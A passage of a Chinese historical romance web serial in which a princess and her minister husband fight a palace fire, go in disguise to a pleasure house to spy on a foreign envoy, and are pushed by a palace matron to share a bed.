朝宁迈步要闯,一只温热的手牢牢扣住了她的胳膊。她含怒转头,撞进贺砚知沉静的眼眸里。
“放手,再晚就真来不及了!”她的眼中噙着泪水,平常明艳的小公主如今无措地像个小孩。
“我帮你。”贺砚知的声音不高,却斩钉截铁。中秋夜的月亮很圆,恰好被他挺拔的身影挡去大半光华,只留下一圈清冷的光晕。那双眼睛在夜色与火光交织中异常坚定。
不知怎地,朝宁紧绷的手指倏然一松。贺砚知稳稳接住了那水桶,毫不犹豫地冲进了火场。
“右相大人!您怎么也——”李钦急得直跺脚,可这两位活祖宗没一个搭理他。
只能用他的拂尘拍打这旁边的小太监,“去去去!这位也得护着!少了一个汗毛,咱们也活不了!”
宫中人奔忙救火,泼水声、呼喊声、木材的爆裂声交织成一片。李钦心惊胆战地守着她,说什么也不敢让公主再靠近半步。
朝宁靠在宫墙角,夜晚的风很凉,她仰望着眼前这座曾美轮美奂的宫殿,这是她母亲生前居住的地方,可她进去的次数却屈指可数。
耳边的声音逐渐褪去,人影模糊,这条空荡荡的宫道上,无数个暗沉的昼与夜,幼小的朝宁也如此刻这般,蜷缩在墙角。
中秋之夜,阖家团圆,而她只能守着这空无又残躯的宫殿,望着那遥不可及的月...
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一炷香的时间,大火终于熄灭,东三殿近乎焚毁,主殿亦损毁过半。曾经花香馥郁的融沁宫,现在只剩下一片狼藉的焦黑骨架,断壁残垣。
皇帝下令,要求彻查融沁宫大火一事,任何人不得擅入,保护剩下没被火烧掉的物件。
贺砚知踏出灰土,很快找到墙边的朝宁。她蜷缩在那里,像一只受惊后躲藏的小兽。月辉下,她的眸子亮得出奇,似漾着粼粼水光。
“给殿下擦擦眼泪,让旁人看见,岂不是要笑话我们颐宁公主。””一只染满灰烬、指节分明的手伸到她面前,递过一方帕子,黑白得分明。
朝宁抢过他的帕子,胡乱在眼睛上狠狠地一抹,霍然起身,嘴里倔强,“本公主,才没....”
话到嘴边还没说出口,却瞧见了贺砚知的脸上沾了大大小小的灰,高雅的白衣学士瞬间成了小煤球,想怼他的话瞬间哑声。
“算了,看在你帮忙灭火份上,饶了你。”
贺砚知整理整理自己的衣襟,看着眼前撇过头的朝宁,脸侧还有着一道明显的泪痕,他忽地抬手在顺着痕迹抹上了一道灰。
“喂!贺砚知!你干了什么!”她抬手去摸自己的脸,指尖碰到那温热且带着灰烬触感的印子。
“无事。”贺砚知已然转身,若无其事地快步朝前走着。
“贺砚知!”一声怒吼,传遍整个皇宫,“被我抓到,你死定了!”
两人在皇宫内掰扯好一顿,走到马车跟前时,两个人都和小花猫似的。
贺砚知这厮惯会做表面功夫,明面上恪守臣礼,私下里却连半分对公主的敬意都没有。
上车后,贺砚知慢条斯理地拭去脸上污痕,眼角余光瞥见身旁的朝宁呆呆地靠在一遍,手帕一下一下擦着脸,灰印下去了但脸快要被磨红了。
“在想什么?”贺砚知开口问道。
“火。”朝宁顺口而出。
两人目光短暂相接,一片沉寂。
那日,她火烧了绥丹的营帐,今日融沁宫陷身火海,和她冲出保和殿时,摩什脸上的神情,像一团迷雾笼在心头。
“你在怀疑摩什?”贺砚知直接点破。
朝宁对于贺砚知的脑子还是肯定的,如同现在,能完整接到她心中所想。
她也不藏着,开口道:“摩什第一次进京,更是头回入宫。若知那日放火是我,选这风险高又麻烦的报复手段,恐怕这宫里暗哨本事不小。”
贺砚知一边擦着手,一边低眉听着朝宁说话,“成亲那日,他可以搅动京城大乱,至今也没抓到把柄,能这些年在京中悄无声息地埋了这么多绥丹人,野心昭然若揭。”
朝宁莫名又想起了那场梦,虽然梦中的细节总是模糊不清,但梦境却在一一成为现实。
摩什...和亲...灭国,谋划这么久,只为了她,一个对政治毫无用处的公主。
阵阵刺骨的寒意坠着她,深陷在这不安中。
“公主还知道其他事?”
朝宁回神时,贺砚知正一动不动地看着她。
这些事她不能告诉贺砚知,眼前这男人是敌是友不知,合作关系,说多无益。
她刻意往后一靠,舒展手臂打了个大大的哈欠,语气轻佻:“当然没有!而且对待外敌,贺大人不更加拿手?我一个潇洒公主管不了这么多,还是乐宴坊快活了,也不知那些花儿草儿可想我了?”
“乐宴坊?”贺砚知故作惊讶,“上月殿下好像是在那儿被陛下抓回府的。”
朝宁抄起一个垫子扔到贺砚知身上,“你还好意思说!若不是你,联着朝堂上的老头参了我十多本,还谏言让父皇把这乐宴坊关了!本公主至于连门都进不去?”
想到这事,朝宁更生气了,这事快在京中传遍了,一边歌颂着贺砚知公正严明,一边暗搓搓传着她生活不检的鬼话!
她朝宁能把贺砚知看顺眼才更奇怪!若不是这场婚事作伴,朝宁也计划着收拾一顿这个道貌岸然的家伙!
“我也是为了殿下安全和名声着想而已。”
“算了。”朝宁自己安慰自己,“本公主,今日也懒得和你翻旧账!”
“砰!”
窗外一声,吸引朝宁掀开车帘,马车此时正在东街,中秋热闹的气氛洋溢在整个大街上,紧接着,一朵又一朵的烟花在夜空中炸开,五色流光映亮了半边天。可惜在马车里只能看到零碎片段。
“停车!”
赶车的梁蔗被朝宁这一嗓子吓到了,急忙停在了路边。
朝宁起身要
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从马车跳下,“你自己回去吧,我再在外面玩一会儿。”
胳膊却被后面贺砚知给拉住了,“我和你一起去,如果殿下出了什么事,我也逃不了责任。”
“随你吧!”
贺砚知瞥了一眼梁蔗,“我与公主逛逛集市,你先回去。”
梁蔗欲言又止,只能赶着空马车回去了。
朝宁随手扒拉着街边的小物件,无趣得很,本想借此离贺砚知远点,谁知这人像个尾巴一样跟在她身后。
朝宁时不时往后撇去,贺砚知反倒是优哉游哉,眼睛却一刻也不从她身上离开,想借机甩掉都难。
“喂!”朝宁转身对着贺砚知没好气道,“这满大街都没吸引咱们贺大人的?非要一直跟在我后面?”
贺砚知未回她,只停在街边的一个小摊上,买了一盏花灯。
将这灯递到了朝宁面前,“这花灯不错,送予公主,中秋安康。”
朝宁低眉,那花灯雕刻十分精美,上面的小兔子也栩栩如生,刚刚翻涌的情绪又因这只花灯哑了火。
她犹豫片刻还是将这只灯接了过来,扭过脸不去看他,别扭的朝宁可不想看到贺砚知那张得意的脸。
朝宁慢下步伐,贺砚知与她并排而行,两人在这繁闹的街上相对无言。
彼此不熟,却因一场婚事绑在一起,注定无法像寻常夫妻嬉戏打闹。
忽得,一只蹴鞠滚到了朝宁的脚下,她刚要拾起,一个小男孩跑了过来,看着年岁不大,脸上还沾着许多土。
他拾起蹴鞠,抬头看着眼前的漂亮姐姐,朝宁宠溺地摸了摸他的头。
“怎么到处瞎跑!”一位妇女将这男孩抱起来,“娃贪玩,实在是不好意思,打扰二位了。”
朝宁摇摇头,远看着小男孩被他母亲抱着,后面跟着他的父亲,一家有说有笑,手里拎着一袋吃食。
她一直看着他们,直到消失在视线中。
贺砚知在她旁边出了声,“公主也想买蹴鞠玩吗?”
朝宁转过身,贺砚知原本含在唇边的调侃,在对上她目光的刹那,悄然消散。
委屈...无助,如同今日融沁宫外,一模一样。
“贺砚知,每年的中秋,你怎么过?”朝宁没头没尾地说了一句。
贺砚知好像知道她为何如此,“身为臣子,也无家眷。”他的声音平静得像秋夜的湖水,“中秋与平日并无不同。无非是恪尽职守,为皇上分忧解难……也从未有机会,能在中秋夜出来走一走。”
实话罢了,他无父无母,却又身不由己,佳节于他,从无意义。
“殿下呢?”贺砚知抬眼问道。
朝宁听着他轻飘飘的一句话,没有立刻回答,只是眼中那一丝孤寂如薄雾般悄然隐去,转瞬又被那副惯常的、漫不经心的笑意所取代。
“本公主自然比你潇洒多了,不过嘛,今日既一出来,本公主带你开开眼,见识一下最好看的烟火。”
下一刻,不会武功的贺砚知就被朝宁直接带到了醉月楼的房顶。
从这里望去,整座京城的屋瓦连绵如墨色波浪,远处街市灯火蜿蜒似星河倾倒。一轮明月近得仿佛伸手可触,月光伴着微风洒满衣衫,朝宁又不知从哪里顺到了两瓶酒。
将其中一坛扔到了贺砚知怀里,“能喝吗?”
贺砚知笑了一下,“我怕殿下喝醉,没办法带着我从这么高的地方下去。”
“小瞧人!”朝宁拍开泥封,酒香倏然散入风中,“这样的酒,我一人能饮三坛不醉!”
他们并肩坐在青瓦上,一口一口喝着酒,世间万物奇妙不语,若是放在几月前,朝宁是万不可能和他心平气和坐在一起喝酒。
可偏偏在这个月光倾城的夜晚,朝宁竟然能从他身上,体会到那一丝同种的悲凉。。
烟火在空中不断炸开,炫彩尽入眼帘!
贺砚知仰头喝了口酒,“这地方果真是个看烟花的好地方!”
“那当然了,本公主找的地方,何时差过?”
夜风吹过,带着淡淡的酒气,朝宁散开的头发在夜里飘散,几缕发丝掠过贺砚知肩头,他下意识抬手,想要替她拢到耳后——
“等等!”伸出的手,留在空中。
朝宁眼中映着漫天华彩,笑容如烟火灿烂,“中秋夜,醉月楼顶,确实是个好地方!你看那是谁!”
5. 乐宴坊
贺砚知顺着她的目光向东望去——那是乐宴坊的方向。醉月楼与乐宴坊相隔不远,坐在这飞檐之上,恰好能将乐宴坊二楼的情形看得分明。
今夜中秋,乐宴坊格外地热闹,灯火通明,二楼窗户大开,数名乐妓在其中翩翩而舞。而在这红衣中间,一个黑衣如此扎眼。
他微眯着眼睛,看清楚朝宁所指之人——
一个本不应该出现在这儿的人。
他转头看朝宁,她眼中的醉意凝成一道锐光,唇角玩味地翘起。夜风拂过她泛红的脸颊,几缕发丝掠过晶亮的眼眸。
“想做什么?”贺砚知问道。
“天赐良机。”她声音带着微醺的兴奋,“不去碰碰,可惜了。”
贺砚知还未来得及反驳,便被朝宁一把拽住手腕,纵身跃下醉月楼。
两人轻巧地落在楼后暗巷中,朝宁刚要走却被贺砚知拉住了胳膊,上下打量,“就穿这身进去?”
“怎么了?”朝宁脱口而出,她身上还是下午赴宴时穿的碧绿色的衣裙,而贺砚知的白衣沾着灰,几乎不剩好地方。
一个公主,一个穿着不得体的大臣,夫妻二人同时出现在乐宴坊,确实古怪,怕是会引起不小的骚动。
朝宁眼波一转,“醉月楼老板,我认识,咱们去换个行头。”
她指尖轻点下颌,“而且要换得彻底一点。”
待二人再从醉月楼出来时,已全然换了模样,一个换成了白色锦衣,一个换成了偏黑色的衣服,朝宁的长发被束起,唇上还黏了一撇小胡子,手里折扇轻摇,妥妥的世家风流公子。
而贺砚知正在背后皱着眉头,嫌弃地瞧着自己的这一身行头,“确定要...穿成这个样子?”
朝宁转过身来,一本正经地抿着嘴:“当然,京城谁不认识你贺大人,唯有扮成这个样子,才不致被人认出。”
话音未落,她已憋不住笑出声来——
贺砚知那白皙的脸,被朝宁硬生生点了一个硕大的痣在眼睛下面,若是淡淡的泪痣,也就算了,而是如同一枚铜钱大小,胡子也长的离谱,甚至还不知道从哪里掏出来的胭脂,肆意地拍到贺砚知的脸上。
确实,现在谁也认不出来了。
二人行至乐宴坊门前,老鸨正满面春风招揽客人。远远瞧见朝宁与贺砚知虽面生却衣饰华贵,立即笑吟吟迎上前来:“两位公子是头一回来?”
朝宁故意压低了嗓音,“算是吧,但今日我们特来寻故人的。”
她拿出来一个牌子,老鸨看了一下笑得更加殷勤,“原来是贵客!快里面请!里面请!”
朝宁点点头,随手将一个银元扔进了她的怀里。
朝宁和贺砚知顺利进了乐宴坊,才进厅堂,浓烈的香粉气息便扑面而来,贺砚知被熏得蹙眉掩鼻,连咳数声。
“不会吧?”朝宁凑近他耳畔,语带戏谑,我们贺大人真没来过?”
贺砚知显然一点也不想理她,径直就要上楼梯。
朝宁连忙拉住他衣袖,“真当你自己是来这儿玩的?当然要避着点人!”
她轻车熟路地引着贺砚知穿行于人群之中,转眼便悄无声息地潜上了三楼。
这一层果然清净了不少,朝宁看四下无人,在一间雅室停下,轻轻敲了两下,并无应答,迅速推开将贺砚知拽了进去,房门落了锁。
贺砚知盯着她手里拿着的那块牌子,问道,“这块到底是什么?”
“醉月楼为贵客特制的身份牌。”朝宁把玩着玉牌,“我这块仿的是头牌云归的。”
贺砚知眯着眼睛,墨色的眸子落在这块牌子上来回打转,云归?
“他是这醉月楼最有名的,一手琵琶弹得出神入化,平时见他一面,简直是难如登天,不过说起来,本公主确实有很久没听过云归的琵琶了。”
朝宁自顾自地说着,抬眼就看见,贺砚知那一脸嫌弃模样,那巨大的络腮胡都挡不住。
朝宁不悦,一下锤在贺砚知肩膀,“是是是,就咱们贺大人清风高节,书呆子无趣极了。”
贺砚知揉着自己被锤疼的肩膀,挖苦道:“殿下既然如此喜欢,怎么不把他召进公主府当个面首。”他忽又挑眉,语带奚落,“可惜了,陛下早已明令禁止殿下踏足乐宴坊,这般心思怕是只能作罢了。
朝宁咬紧后槽牙,压着怒气,“贺大人不亏是贺大人,这提议当真不错,等以后你我二人和离,本公主会好好考虑贺大人这番美意。”
两人总是因为一些奇奇怪怪的原因吵起来,朝宁心中愈发笃定,若是真与他过一辈子,只怕自己迟早要被他活活气死。
贺砚知敛了神色,深吸一口气结束了话题,目光扫过这间屋子,“所以,殿下来此是——”
“我自然有我的道理。”
朝宁绕到了衣柜前,“你知道,刚才与摩什在一起的人是谁吗?”
贺砚知忆起方才惊鸿一瞥——摩什在二楼廊间与一位女子并肩而行。
不假思索道:“乐宴坊花魁,南灵。”
“哟,没看出来,贺大人不来这乐宴坊,还知道花魁呢。”朝宁说着将衣柜轻轻推开,后面竟露出一方隐秘的隔室。
“进来瞧瞧。”
贺砚知踏进来出奇地没有闻到霉味,隔室不小,中间一张小桌,上面摆着半截蜡烛,桌上不曾落灰,这隔间应该一直有人用。
朝宁将桌上的半截蜡烛点亮,隔室里顿时亮了起来。
贺砚知环视这一处,蹙眉问道:“这隔室是何用处?”
朝宁擦擦手上灰,慢慢道,“乐宴坊能在京城屹立不倒,可不是因为这里的人多美,曲唱的有好听,风月场所,总会让人失了防备,说些不该说的话。”她眸光微沉,"只是经营至今,竟也无人窥破这幕后之主究竟是何方神圣。"
贺砚知问道:“所以——”
“别说话。”朝宁举着蜡烛,走到隔室的那面墙前,贺砚知借着光亮,能看到墙上有一个四四方方的缝隙。
朝宁轻声道:“这是乐宴坊自己设计的,只是不巧,被我发现了,南灵的卧房就在隔壁,今日中秋三楼几乎无人,情况紧急也应没有防备。”
朝宁将这暗格拉开,有少少的光亮照进来,两人凑到窗口前,听着对面传来的声音。
“这话是什么意思!”女子声线悦耳却带着惊惶。
“在京城是待得舒服,忘了本?”男声响起,正是摩什。
砰然声响后,女声哽咽:“求求您殿下,我这些年一直为您传递情报,为什么...为什么要...”
“哼,你果然是忘了自己是谁!一个妓子轮到你讨价还价了?”
噼里啪啦瓷器
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碎裂的脆响,夹杂着阴恻恻的冷笑:“果然是花魁,这眼泪真叫人心疼。”
“这双手养得真是白嫩…不知砍下几根手指,可还会这般好看?”
“不…不要…”女子破碎的哀求夹杂着哽咽,“求殿下…饶命…”
“不用害怕,一场舞蹈而已,我怎么舍得杀这样好看的美人。”摩什突然柔下声,“只要东西献上去,你必全身而去,还是那个风光无限的花魁。”
“砰——”
房门重重闭合的声响,震得烛火摇曳,朝宁指节蓦地收紧,摩什阴鸷的嗓音如冰锥刺入耳膜,那股梦中熟悉的寒意顺着脊骨攀爬,她双腿发软,几乎要撑不住颤抖的身子。
贺砚知察觉到她的异样,在朝宁倾倒瞬间,将人稳稳揽入怀中。
朝宁被这背后的热度惊得浑身一颤,蓦然抬起的惊慌双眸,直直撞进贺砚知深不见底的眼底。
朝宁紧绷着身体逐渐放松,没有推开贺砚知的手,走出了隔间。
房中静了一瞬,二人相对坐在茶案前,贺砚知终究没问出,这脸色苍白的缘由。
朝宁面色逐渐回暖,指尖无意识地摩挲着茶盏边缘。贺砚知注视着她恢复的脸庞,这才缓声开口:“殿下有何想法?”
朝宁冷静下来,仔细想着刚才摩什说的话,舞蹈,献上去...他要把什么东西献给谁...
如果她是摩什,和亲不成的话,却又想达到目的,就需要....
朝宁眉头紧锁:“贺砚知,你知道使臣朝拜,可在京中滞留多少时日?”
“最长不得超过半月。”
朝宁一切了然,“摩什没有达成和亲目的,自然不能久留京中,所以他想争一争,搏一个留在京中的由头。”
贺砚知审视的目光凝在,正侃侃而谈的朝宁身上。
朝宁被这眼神止了声,有些心虚地别开视线。“看我干嘛?”
“我有一事不解,还想请殿下解答。”
他向前微倾,烛光在眼底跃动:“当日殿下执意取他性命,当真只因和亲一事?”
贺砚知记得那晚,眼中满是杀意而现在根本不减。
朝宁沉默了,她好像懂了贺砚知的话外之音,更是她放松警惕,忘记了眼前的男人久经官场,什么事情都喜欢抽丝剥茧。
今日贺砚知试探她多回,可如今情形,摩什真正目的不得而知,多说反而无益。
她忽然轻笑出声,纤指托起下颌,眼尾挑起一抹潋滟的弧度:“所以呢?贺大人想怎么做?是把我送到父皇跟前,再斥我谋逆之罪?”
贺砚知唇角微扬:“怎么会?如今殿下既是我明媒正娶的妻子,共为一体,只是想提醒殿下小心点罢了。”
“那可真要谢过我这好夫君了。”朝宁眼波流转间带着几分戏谑。
窗外器乐声陡然热烈,想必是花魁登台献艺。两人迅速将移动的衣柜复位,朝宁正要推门而出,却见一只手划过她的脸。
她愕然抬头,贺砚知低着头,指尖仔细地为她按紧假须,“胡子松了。”
朝宁下意识碰了碰被整理好的假胡子,这乐宴坊的老熟人可不少,万不能在此刻露了破绽。
两人正要顺着原来的路下楼,不料刚将卧房门关上,身后传来一道笑声。
“颐宁公主!您好久没来了!”
6. 宫里来人了
朝宁愣了一下,转过身入眼便是那袭熟悉的素白衣衫。
对方眉眼含笑,自带三分春色般的温朗。
“公...”
话音未落,朝宁已一把将他拽进屋内。贺砚知紧随其后,眉眼间满是狐疑。
朝宁无奈地抚过唇边假须,又理了理束起的长发:“我都这般装扮了,你竟还能认出?”
那人忽地轻笑出声:“云归,怎会认不出来殿下。”
云归的目光微微偏移,落在贺砚知身上,“只是自上一别,殿下确已许久未来了。”
她顺势接过云归的话,“本宫也一直惦念你的琵琶。今夜来得匆忙,只得改日再赴雅兴。”
此时特殊情况,他二人不能一直留在乐宴坊,还是要尽快脱身。
云归眸光微微一暗,仍温声应道:“既然殿下有事,云归自不便打扰……”他转向贺砚知,那双浅浅一揖,“这位公子似是初次相见,不知云归可否有幸结交一二?”
“他不重要。”朝宁脱口而出。
两束目光倏然落在她身上,朝宁意识不对,找补道:“府中一个小厮,奉命令跟着我,烦人得紧。”
云归目光轻轻掠过那双沉静如水的眸子,转而叹道:“看来今日公主殿下真的很忙,平时都不带着旁人...莫不是您成亲后,驸马...不让您来?才派人跟着?”
朝宁那日被抓回去时,并未惊动乐宴坊,所以云归只觉得自己许久未来。
“自然是无稽之谈!”朝宁皱眉打断,语带傲气,“本公主怎会受制于一个小小驸马?”
云归掩袖轻笑,声音软糯如三月春水:“殿下成亲的消息,可让我们震惊许久,初时还以为是坊间传的闲话。还有传闻到殿下不来乐宴坊,是因右相大人吃了醋。”
“坊间传闻尽是胡说八道!”朝宁眉头轻蹙,眼风却不由自主扫向身旁的贺砚知。
“好...”云归声音细声软语,娇羞的样子像个女娇郎,落在别人眼里倒像是打情骂俏...
殿下,”贺砚知声音沉静如深潭,“该回府了。”
云归行了个礼,“那云归就不送殿下了。”
朝宁险些忘了正事,正欲推门,突然想到什么,“云归,近日乐宴坊可有什么安排?”
云归微微思索后,“听闻坊内正为霜月归宁节筹备宴席,具体虽未定下,但听说场面不小。”
霜月归宁节,乃是民间的一个节日,在中秋节后不久,祈愿在中秋这日不能相聚的家人,在归宁节能重逢团圆。
朝宁闻言心中已有计较,回首浅笑:“多谢告知。”
云归唇角漾起一抹笑意,“云归会在这儿一直等着您来的。”
朝宁挥着手,“好——”字还没落地,却突然被大力拽住手腕,下一瞬,“砰”的一声,门已被重重关上,只留下吱呀吱呀地声响。
“我的手!”朝宁用力甩开贺砚知的钳制,揉着微微泛红的手腕,心底将他翻来覆去骂了无数遍,低声嘟囔:“一个书呆子,力气还不小。”
贺砚知转过身背对着朝宁,清冷的声音响起,“若再不离开,殿下今日就要宿在这儿了。”
朝宁急忙向楼下望去——只见大厅已是人影攒动,喧嚣鼎沸。她当即抓住贺砚知的胳膊,拉着他匆匆往楼下疾步走去。
子时过半,二人方才抵府。远远便见莲心提着灯笼在门前张望。
“殿下!”一见朝宁,她急急迎上前来。
“何事如此慌张?”
“府里…府里来了位姑姑!”莲心压低声音,眼角不住往贺砚知身上瞟,“是宫里来的嬷嬷,说是要指导…”她声若蚊蝇,“指导公主殿下…行夫妻之事…”
朝宁只觉脑中轰然作响,贺砚知还立在身旁,这番话说得她恨不得当即掘地三尺。
贺砚知却面色如常,只向莲心问道:“人在何处?”
“正在您与殿下的卧房外候着。”
朝宁忆起少时初建府邸,父皇嫌她礼数不周,曾派教习嬷嬷来训导,可她最讨厌这些墨守成规的条法,不出三日便都被她气得拂袖而去。后来她随谢老将军习武,父皇也再没派人来过。
终日奔波早已耗尽心神,朝宁揉着额角:“直接打发回去,本公主用不着这些。”
“殿下…”莲心怯生生拉住她衣袖,“来的可是王姑姑…”
朝宁一怔,王姑姑是宫里的老人,曾侍奉先皇祖母多年,也因为这层原因,朝宁不可能对这位嬷嬷动手,父皇如今派她来,也是吃准了这点。
当初她与贺砚知演了一出欢喜冤家的戏码,才求得这门婚事。父皇竟真当他们是不打不相识,生出情愫来,这才欣然应允。
如今成亲多日,父皇突然派王姑姑前来,朝宁心中顿生不祥之感。眼下也只能先将人稳住,明日再进宫一探究竟。
朝宁与贺砚知交换了一个眼神,一前一后迈步入内。王姑姑早已在厅中等候,身后两名宫女手捧鎏金托盘,上面盖着锦缎,看不清是何物。
"老奴奉皇上之命,特来为公主与驸马添置些闺中之物。"王姑姑笑着示意宫女上前,"皇上记挂二位新婚,特意嘱咐老奴要好生侍奉二位。"
朝宁笑着点头,藏在袖中的手却悄然握紧。她与贺砚知虽为夫妻,实则分居两处,卧房与书房相隔甚远。眼下最要紧的是先把今夜应付过去,好歹做出些恩爱模样,免得横生枝节。
贺砚知不动声色地上前半步:"多谢皇上挂念。只是夜已深,姑姑特意而来,不如今晚先歇下。这些物件...明日再细看不迟。"
莲心上前欲引王姑姑退下,却见那老妇人如古松般纹丝不动:"天色已晚,老奴理当先侍奉殿下就寝。"
"不必了。"朝宁轻抬皓腕,自然而然地挽住贺砚知的手臂,指尖在他袖中不着痕迹地一掐,面上却带着恰到好处的倦色,"本宫与驸马向来不惯旁人伺候起居,今日又实在乏了。姑姑年事已高,也该早些歇息才是。"
王姑姑却仍执着地躬身道:"老奴奉旨而来,不敢怠慢。只需亲眼见二位主子安寝,也好回宫复命。"
朝宁有些恼火,正欲开口,贺砚知已温声接过,“公主殿下累了,平日都是我侍奉,既如此我与殿下便先进去了。”
随后,贺砚知牵住朝宁的手进了房间。
"现在如何是好?"
朝宁环顾四周,这卧房分明是她独居的模样——
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妆台上只摆着她的玉梳,衣桁只挂着她的罗裙,连床榻上也仅有一床锦被孤零零地铺着。
贺砚知透过薄纱的窗户,王姑姑的身影仍立在廊下:"看来这烛火不熄,她是不会走了。"
“我这就出去与她分说,便是抬也要把人抬走”
“殿下。”贺砚知出声制止住,“现在外面还有人盯着咱们这场婚事,如果今夜闹大,不是件好事。”
朝宁一下子泄了气,哀怨地盯着床上那薄薄的被子,“那...今晚...”
“放心,今夜我睡旁边的小榻。”
见贺砚知这么说,朝宁也没再说别的。
两人漱洗完,已经过了一刻钟,那个王姑姑还站在门外,任莲心怎么劝也不动,非说要等公主殿下和驸马就寝之后再离开。
朝宁坐在床边,看着贺砚知走向那张窄小的卧榻。
小榻的尺寸不大,像贺砚知看似是个薄弱的书呆子,那榻尺寸实在有限,贺砚知虽看似文弱书生,身形却比朝宁想象中要挺拔许多。此刻他不得不蜷着身子,长腿委屈地屈起,才勉强躺下。
朝宁几度想开口,最终还是沉默地躺下。她对自己产生那点怜悯心,感觉好笑。
明明在成亲前,他们还是见面就剑拔弩张的死对头,她曾恨不得将他生吞活剥。
仿佛将自己说服,朝宁将自己好好地裹进被子。
烛火熄灭后,室内只剩一地清冷月光,和贺砚知躺下时衣料摩擦的细微声响。
疲惫了一整日的朝宁本以为能立刻入睡,却在榻上辗转难眠。不知是因这卧房内突然多了一个人,还是其他什么缘由,她竟久久不能眠。
深秋的寒意透过窗缝渗入,她不由得将被子裹得更紧些。
忽然,一声压抑的轻咳在黑暗中格外清晰。朝宁侧身望去,借着月光,只见贺砚知背对着她蜷缩在窄榻上,身影显得格外单薄,有点...可怜。
她被自己这个想法吓了一跳....
-
“喂...”
贺砚知闻声转身,看见朝宁不知何时已站在榻前。月光为她镀上一层柔光,白皙的肌肤如玉般莹润。她像个闹别扭的孩子,指尖轻轻戳了戳他的手臂:"你去床上睡吧。"
贺砚知眯着眼看了她片刻,又转回去:“不必了,公主睡床就好。”语气里竟带着几分委屈。
接着又是几声轻咳。
朝宁脸色一沉,直接拽起他的手臂:"磨蹭什么!让你睡就睡!你这身子骨要是染了风寒,再传染给我怎么办!"”
贺砚知躺在床榻外侧,借着窗棂透入的月光,看见朝宁正紧紧攥着锦被边缘,几乎要将整张小脸都埋进被中。
他抬手轻轻将被子往下拉了拉,指尖若有似无地擦过她的指尖:"殿下这般捂着,怕是要闷坏了。"
朝宁猛地缩回手,拽着被子翻过身去,“闭嘴!再啰嗦就滚回你的小榻上去。”
朝宁从前爱玩,可还是第一次跟一个男人靠得这么近...
贺砚知眼底笑意更深,忽然凑近了些。
温热的呼吸拂过她后颈时,明显感觉到她身子一僵。
"殿下...可是在紧张?"
7. 鸡飞蛋打
“我紧张什么?”
朝宁猝然翻身,青丝披在枕上,正对上那双含着笑意的眼眸。四目相对的瞬间,她只觉心尖猛地一颤,连呼吸都乱了分寸。
“我以为殿下恨我入骨。”他喉间溢出的轻笑,“未料今日殿下将锦被都舍分我半幅。”
“少自作多情!”朝宁声音里少了平日的锋芒,反倒透出几分软糯,像个嘴硬的孩子,“不过是怕你冻出病来,平白惹人闲话。”
贺砚知低笑一声,“殿下不必紧张,今晚必不会逾矩。”
朝宁羽睫轻颤,缓缓躺平身子,刻意避开他的目光:“谅你也没这个胆子。”
“夜深了,殿下歇息吧。”贺砚知的声音轻得像是一缕月光,温柔地拂过她的耳畔。
室内重归寂静,唯有窗外月色如水,静静映照着榻上两道身影。
朝宁不知何时沉入梦乡,这一夜竟睡得格外安稳,连半个梦都不曾来扰。
-
晨曦微光洒在屋檐,轻柔地拂过窗棂。
朝宁是被一阵清脆的鸟鸣唤醒的。她缓缓睁开眼,眼前却是一片温暖的黑暗。鼻尖萦绕着清冽的沉香气息,后背贴着一片温热。她这才惊觉自己竟蜷缩在贺砚知怀中,额头抵着他的胸膛,一只手还无意识地攥着他的衣襟。
似乎感受到怀里人的动静,微凉的下巴蹭了蹭朝宁的头顶。
朝宁浑身一僵,猛地推开他坐起身来。锦被从她肩头滑落,露出凌乱的衣衫和散落的长发。
贺砚知缓缓睁开眼,慵懒地抬手揉了揉眉心,衣襟微敞,露出一截精致的锁骨。
“殿下辰安。”
朝宁抄起软枕就砸了过去,“安你个头!我为什么会...会靠你那么近!”
“是殿下昨夜说冷,一个劲往我怀里钻。”
“胡说八道!”朝宁手忙脚乱地要下榻,却被缠住的被角绊了个趔趄。贺砚知眼疾手快地扶住她的腰,却被她一把拍开。
“要你管!”朝宁气呼呼地拢好衣衫,连梳洗都顾不上就往外冲。这般狼狈模样,她朝宁何曾有过?
今日非得进宫问个明白不可!
成亲以来,朝宁与贺砚知向来是各居一隅,互不相扰。如今却要共坐一桌用早膳,两人之间弥漫着说不出的尴尬。
王姑姑熟练地布菜,将一道道精致早点摆在二人面前。朝宁虽是公主但从不在吃食上下功夫,公主府的每顿饭都是简单为主,而今天只是早饭,却比平日里丰盛许多。
晨起时,朝宁和贺砚知便看到了昨夜王姑姑带过来的物件,几本装帧精美的画册,和一对雕刻着交颈鸳鸯的玉盒。
朝宁强忍尴尬,瞥了一眼站在门外、目不转睛盯着他们的王姑姑,无奈执起银勺,舀了一勺瘦肉粥递到贺砚知面前,面上是从未有过的温柔:“驸马,尝尝这粥。”
那勺粥悬在贺砚知唇边,他眉头微蹙。朝宁见状,手中勺子又逼近几分,眼中飞出一记凌厉的眼刀。贺砚知只得张口咽下。
贺砚知扫了一眼桌上剩下的,“来!殿下吃一口笋羹。”
不容朝宁拒绝,笋羹到了眼前,朝宁的脸上挂着笑,纤指轻拂过他鬓边碎发,趁机附在他耳边低声道:“我不吃笋。”
贺砚知笑意不减,反握住了朝宁伸过来的手,将二人距离拉近:“方才殿下不也喂了我不爱吃的?为了做戏,委屈殿下了。”
朝宁眼中寒芒更甚,却还是张口咽下那勺笋羹。转手又舀起一勺粥:“驸马既然喜欢,就多用些吧。”
这一顿早膳吃得剑拔弩张。满桌佳肴,两个素不相熟的人却总能精准挑出对方最不喜的菜色。
更稀奇的是,朝宁和贺砚知的口味竟截然相反。门外的莲心看得心惊胆战,她深知自家公主的脾性,至今仍不敢相信公主竟会与右相大人成亲。眼见屋内气氛不对,她连忙寻了个由头将王姑姑支开。
直到门口这两人走了,门内的“战争”也在停下来。
待外人离去,屋内的“战事”才告一段落。朝宁“啪”地一声将银勺掷入碗中,看着满桌狼藉,冷哼一声:“驸马可吃饱了?”
贺砚知唇角微扬:“殿下吃饱了,我自然也就饱了。”
从昨晚到今早,闹剧总算是结束了,贺砚知身居朝中重职,吃过早饭就早早出府了。
朝宁带着莲心回到公主府,总算寻了个由头避开王姑姑那些不堪入耳的教导。这座府邸虽富丽堂皇堪比京城一绝,却冷清得很。庭院中那棵参天桂花树正值花期,秋风拂过,暗香浮动。偌大的府邸里,伺候的人却少得可怜。
自七岁皇祖母薨逝,朝宁便独自搬来此处。后来跟着谢老将军习武,连暗卫都觉得多余,身边只留了莲心一人伺候。直到收了方沐那个小丫头,这冷清的府邸才添了几分生气。
此刻,朝宁慵懒地躺在桂花树下的摇椅上。手边摆着个白玉杯,盛的是去年亲手埋下的桂花酿。酒香醇厚,在唇齿间久久不散。
